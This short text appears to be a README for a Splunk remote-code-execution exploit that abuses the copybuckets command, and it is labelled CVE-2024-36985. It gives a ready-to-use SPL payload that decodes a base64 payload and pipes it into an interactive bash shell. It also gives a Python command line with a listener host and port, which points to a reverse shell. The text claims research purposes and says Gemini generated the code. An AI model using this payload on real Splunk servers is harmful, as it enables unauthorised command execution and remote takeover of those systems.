
Splunk RCE exploit by the use of Copybuckets. Just for vulnerability research.
All the exploit codes are genetrated by gemini.
Splunk admin role required. Splunk_archiver application enabled.
You can also run below SPL in search to trigger the RCE.
| copybuckets data="{\"providers\": {\"pwn_provider\": {\"command.arg.0\": \"/opt/splunk/etc/apps/splunk_archiver/java-bin/jars/sudobash\", \"command.arg.1\": \"-c\", \"command.arg.2\": \"{echo,YOUR_BASE64_PAYLOAD_HERE}|{base64,-d}|{bash,-i}\"}}, \"vixes\": {\"pwn_vix\": {\"provider\": \"pwn_provider\"}}}"
python3 CVE-2024-36985.py -t TARGET_IP -u SPLUNK_ADMIN -p SPLUNK_PASS --lhost YOUR_KALI_UP --lport YOUR_LISTEN_PORT